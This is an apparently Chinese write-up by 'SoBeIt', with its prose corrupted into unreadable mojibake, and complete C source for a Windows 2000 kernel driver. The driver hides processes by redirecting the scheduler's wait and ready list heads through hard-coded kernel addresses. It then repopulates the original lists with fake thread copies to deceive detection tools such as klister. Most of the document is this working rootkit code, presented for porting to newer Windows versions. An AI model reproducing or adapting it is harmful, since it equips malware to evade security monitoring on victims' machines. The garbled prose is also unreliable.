¶¹L¤º®Ö½Õ«×Ãìªí¶iµ{ÀË´ú SoBeIt
¤@¯ëÁôÂöiµ{ªº¤èªk¹ê»Ú¬OµLªk¹ý©³ÁôÂöiµ{¡A¦]¬°¤º®Ö½Õ«×¬O°ò©ó½uµ{ªº¡C¤U±¤¶²Ð§Ú¹ê²{ªº¤@ºØ§óÁô½ªªºÁôÂöiµ{ªº¤èªk¡C§Ú̪¾¹D½uµ{½Õ«×¤º®Ö¨Ï¥Î3±ø½Õ«×ÃìªíKiWaitInListHead=0x80482258 ¡BKiWaitOutListhead=0x80482808 ¡BKiDispatcherReadyListHead=0x804822e0(³oÓÃìªí¹ê»Ú¬O32ÓLIST_ENTRYªº°}¦C¡A¹ïÀ³32ÓÀu¥ý¶¶§Ç)¡A¨Æ¹ê¤WÁÙ¦³´XÓ¥¿Å¶°ºÞ²z¾¹ªºÃìªíKiProcessOutSwapListHead ¡BKiProcessOutSwapListHead ¡BKiStackInSwapListHead§t¦³¶iµ{©M½uµ{¸ê°T¡A¦ý¥¦Ì¦bµ´¤j¦h¼Æ®ÉÔ¬OªÅÃìªí¡A¦]¬°¥¿Å¶°ºÞ²z¾¹¥u¦³¦b¶±¥X¿ù²v¤Ó°ª©ÎªÌªÅ¶¢¦Cªí¤Ó¤Ö®É¤~³Q³ê¿ô°õ¦æ¹ê»Ú¤u§@¡A©Ò¥HÃìªí¤¤¤£·|¦³¤Ó¦h¶µ¡A¦Ó¥B«Ü§Ö´N³Q°õ¦æ§¹¡C
º¥ýn¥ý¦b«D¤À¶°O¾ÐÅ餤¤À°t¹ïÀ³ªºLIST_ENTRYµ²ºc¡AµM«á±Nì©l½Õ«×Ãìªí¤º®e²¾°Ê¨ì·sÃìªí¡C¦b¾Þ§@Ãìªí®Én¥ý§âIRQL´£¤É¨ìDispatcher Level¡AµM«á½Ð¨D¤@Ó¦Û±ÛÂê¡D¾Þ§@µ²§ô«áÄÀ©ñ¦Û±ÛÂê¨Ã«ì´_IRQL(¤º®ÖùØ¥ô¦ó¯A¤Î¨ì¾Þ§@¤º®Ö½Õ«×¸ê®Æµ²ºcªº±`¦¡³£¬O¥ý½Õ¥ÎKiLockDispatcherDatabase¡A¾Þ§@µ²§ô«á½Õ¥ÎKiUnlockDispatcherDatabase¡Aì²z¤jÅé©M«e±»¡¨ìªº¾Þ§@¬Û¦ü¡A¤£¦Pªº´N¬OKiUnlockDispatcherDatabase¦bÄÀ©ñ¦Û±ÛÂê¨Ã«ì´_IRQL«áY¦³´Nºü½uµ{ªº¸Ü´N¶i¦æÀô¹Ò¤Á´«)¡C¨t²Î¤¤¥Î¨ìKiWaitInListHeadªº±`¦¡¡GKeWaitForSingleObject()¡B KeWaitForMultipleObject()¡B KeDelayExecutionThread¡B KiOutSwapKernelStacks¡C¥Î¨ìKiWaitOutListHeadªº±`¦¡©MKiWaitInListHeadªº¤@¼Ë¡C«e3Ó±`¦¡³£½Õ¥Î¤F¥¨¶°KiInsertWaitList¡C³Ì«á¤@ӥѩó½Õ¥Î¤F§»RemoveEntryList¡A©Ò¥H·J½s¥N½X·|²£¥Í2Ó0x8048280c¡C¦pªG¤£³s¥¦Ì¤@°_´À´«ªº¸Ü´N·|¥X¿ù(¨t²Î¥i¥H¥¿±`¹B¦æ¤@¬q®É¶¡¡A¦ý¬O¦b½Õ«×·s½uµ{®É´N·|«±Ò¡A¦]¬°ìÃìªí¤w¸g§¹¥þ¶Ã¤F-_-)¡C¨Ï¥ÎKiDispatcherReadyListHeadªº±`¦¡¦³¡GKeSetAffinityThread¡BKiFindReadyThread¡BKiReadyThread¡BKiSetPriorityThread¡BNtYieldExecution¡BKiScanReadyQueues¡BKiSwapThread¡Cȱo¦P¼Ëª`·Nªº¬OKiSetPriorityThread¤]½Õ¥Î¤FRemoveEntryList§»¡A©Ò¥H¤]·|²£¥Í1Ó0x804822e4¡CÁÙ¦n¥¦Ì¨Ã¤£Ãø§ä¡A¦]¬°¦pªG¦³¥¦Ì³£¸ò¦bì©lÃìªí¦a§}«á±¡C(¦]¬°§»RemoveEntryList¤£·|³æ¿W½Õ¥Î)¡CµM«á§â¨t²Î¤¤©Ò¦³¥Î¨ìªº³o¨Ç½Õ«×Ãìªí¥þ´«¦¨·sªºÃìªí¡C´À´««á¦A§â·sªºÃìªí½Æ»s¦^ÂÂÃìªí¡A¥H¹F¨ì´ÛÄFÀË´úµ{¦¡ªº¥Øªº¡C¨Æ¹ê¤W¡A§Ú¶}©l®É¥u¬O²³æªº½Æ»sÃìªí¡Aµ²ªG¹B¦æklister®É¾÷¾¹«±Ò¤F¡A¯u¬O·N¥~¦¬Ã¬°Ú¡A³o¼Ë¤j¼Æ´¶³q¥Î¤á·|»{¬°¬Oklister¥X¿ù¤F
¦]¬°¹B¦æklister®É¨t²Î¤S¸g¹L¤FµL¼Æ¦¸½uµ{½Õ«×¡Aì¨ÓªºÃìªí¶¶§Ç¤w¸g§¹¥þ²V¶Ã¤F¡AŪ¨úÃìªí´N·|³´¤J³¬Àô¡A¦]¬°¥Ã»·Åª¤£¨ìÃìªíÀY¡C¬°¤FÁ×§K³oºØ°ÝÃD§ÚÌ´N»Ýn¤À°t·sªº½uµ{ª«¥ó¨Ó´ÛÄFÀË´ú¨t²Î(¦]¬°¤À°tªºª«¥ó¥u¬O¬°¤F´ÛÄF¡A¥¦Ì¨Ã¤£¥Î©ó¹ê»Ú¥Î³~¡A©Ò¥H¬°¤F¸`¬ÙÂI°O¾ÐÅéªÅ¶¡§Ú¤À°tªºµ²ºc¤ñ¯uªºµ²ºcn¤p)¡A±µµÛ´N¬O¨C¹j¤@¬q®É¶¡½Æ»s¤@¥÷Ãìªí¡A½Æ»s¹Lµ{¤¤¥h±¼§ÚÌnÁôÂ꺶µ¡C¥Ñ©ó©Ò¦³ªº¦ì§}§Ú³£¬Oµw½s½Xªº¡A©Ò¥H¥u¾A¥Î©óWindows2000 Build 2195 SP4 ¤¤¤åª©¡A¦³¿³½ìªºªB¤Í¥i¥H¦Û¤v´À´«¦ì§}²¾´Ó¨ìWinXP/Win2003¤U¡C¤U±¬O¥N½X¡G
#include "ntddk.h"
#include "ntifs.h"
#include "stdio.h"
#include "stdarg.h"
typedef struct _DEVICE_EXTENSION {
HANDLE hWorkerThread;
KEVENT ExitEvent;
PDEVICE_OBJECT pDeviceObject;
BOOLEAN bExit;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
typedef struct _FAKE_ETHREAD{
DISPATCHER_HEADER Header;
LIST_ENTRY MutantListHead;
PVOID InitialStack;
PVOID StackLimit;
struct _TEB *Teb;
PVOID TlsArray;
PVOID KernelStack;
BOOLEAN DebugActive;
UCHAR State;
USHORT Alerted;
UCHAR Iopl;
UCHAR NpxState;
UCHAR Saturation;
UCHAR Priority;
KAPC_STATE ApcState;
ULONG ContextSwitches;
NTSTATUS WaitStatus;
UCHAR WaitIrql;
UCHAR WaitMode;
UCHAR WaitNext;
UCHAR WaitReason;
PKWAIT_BLOCK WaitBlockList;
LIST_ENTRY WaitListEntry;
ULONG WaitTime;
UCHAR BasePriority;
UCHAR DecrementCount;
UCHAR PriorityDecrement;
UCHAR Quantum;
KWAIT_BLOCK WaitBlock[4];
ULONG LegoData;
ULONG KernelApcDisable;
ULONG UserAffinity;
BOOLEAN SystemAffinityActive;
UCHAR PowerState;
UCHAR NpxIrql;
UCHAR Pad[1];
PSERVICE_DESCRIPTOR_TABLE ServiceDescriptorTable;
PKQUEUE Queue;
KSPIN_LOCK ApcQueueLock;
KTIMER Timer;
LIST_ENTRY QueueListEntry;
ULONG Affinity;
BOOLEAN Preempted;
BOOLEAN ProcessReadyQueue;
BOOLEAN KernelStackResident;
UCHAR NextProcessor;
PVOID CallbackStack;
PVOID Win32Thread;
PKTRAP_FRAME TrapFrame;
PKAPC_STATE ApcStatePointer[2];
UCHAR PreviousMode;
BOOLEAN EnableStackSwap;
BOOLEAN LargeStack;
UCHAR ResourceIndex;
ULONG KernelTime;
ULONG UserTime;
KAPC_STATE SavedApcState;
BOOLEAN Alertable;
UCHAR ApcStateIndex;
BOOLEAN ApcQueueable;
BOOLEAN AutoAlignment;
PVOID StackBase;
KAPC SuspendApc;
KSEMAPHORE SuspendSemaphore;
LIST_ENTRY ThreadListEntry;
UCHAR FreezeCount;
UCHAR SuspendCount;
UCHAR IdealProcessor;
BOOLEAN DisableBoost;
LARGE_INTEGER CreateTime;
union {
LARGE_INTEGER ExitTime;
LIST_ENTRY LpcReplyChain;
};
union {
NTSTATUS ExitStatus;
PVOID OfsChain;
};
LIST_ENTRY PostBlockList;
LIST_ENTRY TerminationPortList;
KSPIN_LOCK ActiveTimerListLock;
LIST_ENTRY ActiveTimerListHead;
CLIENT_ID Cid;
}FAKE_ETHREAD, *PFAKE_ETHREAD;
VOID ReplaceList(PVOID pContext)
{
PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry;
PLIST_ENTRY pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead;
PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead;
int i, ChangeList;
int SysKiWaitInListHeadAddr[] = {0x8042d90b, 0x8042db78, 0x8042de57, 0x8042f176, 0x8046443b, 0x80464441, 0x804644d6};
int SysKiWaitOutListHeadAddr[] = {0x8042d921, 0x8042db90, 0x8042de6f, 0x8042f18e, 0x80464494};
int SysKiWaitOutListHeadAdd4Addr[] = {0x8046448e, 0x804644a1};
int SysKiDispatcherReadyListHeadAddr[] = {0x804041ff, 0x8042faad, 0x804313de, 0x80431568, 0x8043164f, 0x80431672, 0x8043379f, 0x8046462d};
int SysKiDispatcherReadyListHeadAdd4Addr = 0x8043166b;
KIRQL OldIrql;
KSPIN_LOCK DpcSpinLock;
LARGE_INTEGER DelayTime;
NTSTATUS Status;
PDEVICE_EXTENSION pDevExt;
PEPROCESS pEPROCESS;
PETHREAD pETHREAD;
ULONG PID;
PFAKE_ETHREAD pFakeETHREAD;
pDevExt = (PDEVICE_EXTENSION)pContext;
DelayTime.QuadPart = -(10 * 1000 * 10000);
pKiWaitInListHead = (PLIST_ENTRY)0x80482258;
pKiWaitOutListHead = (PLIST_ENTRY)0x80482808;
pKiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;
pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, sizeof(LIST_ENTRY));
pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, 32 * sizeof(LIST_ENTRY));
InitializeListHead(pNewKiWaitInListHead);
InitializeListHead(pNewKiWaitOutListHead);
for(i = 0; i < 32; i++)
{
InitializeListHead(&pNewKiDispatcherReadyListHead[i]);
}
KeInitializeSpinLock(&DpcSpinLock);
__try
{
OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);
pFirstEntry = pKiWaitInListHead->Flink;
pLastEntry = pKiWaitInListHead->Blink;
pNewKiWaitInListHead->Flink = pFirstEntry;
pNewKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitInListHead;
pLastEntry->Flink = pNewKiWaitInListHead;
for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitInListHead;
DbgPrint("NewWaitIn:%8x",*(PULONG)ChangeList);
}
pFirstEntry = pKiWaitOutListHead->Flink;
pLastEntry = pKiWaitOutListHead->Blink;
pNewKiWaitOutListHead->Flink = pFirstEntry;
pNewKiWaitOutListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitOutListHead;
pLastEntry->Flink = pNewKiWaitOutListHead;
for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead;
DbgPrint("NewWaitOut:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead + 0x4;
DbgPrint("NewWaitOut+4:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 32; i++)
{
if(pKiDispatcherReadyListHead[i].Flink != &pKiDispatcherReadyListHead[i])
{
pFirstEntry = pKiDispatcherReadyListHead[i].Flink;
pLastEntry = pKiDispatcherReadyListHead[i].Blink;
pNewKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pNewKiDispatcherReadyListHead[i].Blink = pLastEntry;
pFirstEntry->Blink = &pNewKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pNewKiDispatcherReadyListHead[i];
}
}
for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead;
DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
}
ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead + 0x4;
DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);
KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);
for(;;)
{
InitializeListHead(pKiWaitInListHead);
InitializeListHead(pKiWaitOutListHead);
for(i = 0; i < 32; i++)
{
InitializeListHead(&pKiDispatcherReadyListHead[i]);
}
for(pEntry = pNewKiWaitInListHead->Flink;
pEntry && pEntry != pNewKiWaitInListHead; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID == 0x8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry);
}
for(pEntry = pNewKiWaitOutListHead->Flink;
pEntry && pEntry != pNewKiWaitOutListHead; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID == 0x8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitOutListHead, &pFakeETHREAD->WaitListEntry);
}
for(i = 0; i < 32 ; i++)
{
for(pEntry = pNewKiDispatcherReadyListHead[i].Flink;
pEntry && pEntry != &pNewKiDispatcherReadyListHead[i]; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((char *)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(ULONG *)(((char *)pEPROCESS)+0x9c);
if(PID == 0x8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(&pKiDispatcherReadyListHead[i], &pFakeETHREAD->WaitListEntry);
}
}
DbgPrint("pKiWaitInListHead->Flink:%8x", pKiWaitInListHead->Flink);
DbgPrint("pKiWaitInListHead->Blink:%8x", pKiWaitInListHead->Blink);
DbgPrint("pKiWaitOutListHead->Flink:%8x", pKiWaitOutListHead->Flink);
DbgPrint("pKiWaitOutListHead->Blink:%8x", pKiWaitOutListHead->Blink);
DbgPrint("pKiDispatcherReadyListHead[0].Flink:%8x", pKiDispatcherReadyListHead[0].Flink);
DbgPrint("pKiDispatcherReadyListHead[0].Blink:%8x", pKiDispatcherReadyListHead[0].Blink);
Status = KeWaitForSingleObject(&pDevExt->ExitEvent,
Executive,
KernelMode,
FALSE,
&DelayTime);
if(Status == STATUS_SUCCESS)
break;
}
OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);
pFirstEntry = pNewKiWaitInListHead->Flink;
pLastEntry = pNewKiWaitInListHead->Blink;
pKiWaitInListHead->Flink = pFirstEntry;
pKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pKiWaitInListHead;
pLastEntry->Flink = pKiWaitInListHead;
for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitInListHead;
DbgPrint("OrgWaitIn:%8x",*(PULONG)ChangeList);
}
pFirstEntry = pNewKiWaitOutListHead->Flink;
pLastEntry = pNewKiWaitOutListHead->Blink;
pKiWaitOutListHead->Flink = pFirstEntry;
pKiWaitOutListHead->Blink = pLastEntry;
pFirstEntry->Blink = pKiWaitOutListHead;
pLastEntry->Flink = pKiWaitOutListHead;
for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead;
DbgPrint("OrgWaitOut:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead + 0x4;
DbgPrint("OrgWaitOut+4:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 32; i++)
{
if(pNewKiDispatcherReadyListHead[i].Flink != &pNewKiDispatcherReadyListHead[i])
{
pFirstEntry = pNewKiDispatcherReadyListHead[i].Flink;
pLastEntry = pNewKiDispatcherReadyListHead[i].Blink;
pKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pKiDispatcherReadyListHead[i].Blink = pLastEntry;
pFirstEntry->Blink = &pKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pKiDispatcherReadyListHead[i];
}
}
for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead;
DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
}
ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead + 0x4;
DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);
KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);
ExFreePool(pNewKiWaitInListHead);
ExFreePool(pNewKiWaitOutListHead);
ExFreePool(pNewKiDispatcherReadyListHead);
DbgPrint("Now terminate system thread.\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Error occured in ReplaceList().\n");
}
return;
}
NTSTATUS DriverUnload(IN PDRIVER_OBJECT pDriObj)
{
WCHAR DevLinkBuf[] = L"\\??\\SchList";
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PVOID pWorkerThread;
PDEVICE_EXTENSION pDevExt;
NTSTATUS Status;
LARGE_INTEGER WaitTime;
WaitTime.QuadPart = -(8 * 1000 * 10000);
pDevObj = pDriObj->DeviceObject;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
pDevExt->bExit = TRUE;
__try
{
KeSetEvent(&pDevExt->ExitEvent, 0, FALSE);
KeDelayExecutionThread(KernelMode, FALSE, &WaitTime);
DbgPrint("SchList:Worker thread killed.\n");
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Error occured in Unload().\n");
}
if(pDevObj)
{
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
IoDeleteSymbolicLink(&uniDevLink);
IoDeleteDevice(pDevObj);
DbgPrint(("SchList.sys:Driver Unload successfully.\n"));
return STATUS_SUCCESS;
}
DbgPrint(("SchList.sys:Detect device failed.\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriObj,
IN PUNICODE_STRING puniRegPath)
{
WCHAR DevNameBuf[] = L"\\Device\\SchList";
UNICODE_STRING uniDevName;
WCHAR DevLinkBuf[] = L"\\??\\SchList";
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
NTSTATUS status;
int pKiDispatcherReadyListHeadAddr = 0x804822e0;
int pKiWaitInListHeadAddr = 0x80482258;
int pKiWaitOutListHeadAddr = 0x80482808;
DbgPrint(("SchList:Enter DriverEntry.\n"));
RtlInitUnicodeString(&uniDevName,DevNameBuf);
status = IoCreateDevice(pDriObj,
sizeof(DEVICE_EXTENSION),
&uniDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj);
if(!NT_SUCCESS(status))
{
DbgPrint(("SchList.sys:Create device failed.\n"));
return status;
}
DbgPrint(("SchList.sys:Create device successfully.\n"));
pDevExt = (PDEVICE_EXTENSION) pDevObj->DeviceExtension;
pDevExt->pDeviceObject = pDevObj;
KeInitializeEvent(&pDevExt->ExitEvent, SynchronizationEvent, 0);
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
status = IoCreateSymbolicLink(&uniDevLink,
&uniDevName);
if(!NT_SUCCESS(status))
{
DbgPrint(("SchList.sys:Create symbolic link failed.\n"));
return status;
}
pDriObj->DriverUnload = DriverUnload;
PsCreateSystemThread(&pDevExt->hWorkerThread,
(ACCESS_MASK)0L,
NULL,
(HANDLE)0L,
NULL,
ReplaceList,
pDevExt);
return STATUS_SUCCESS;
}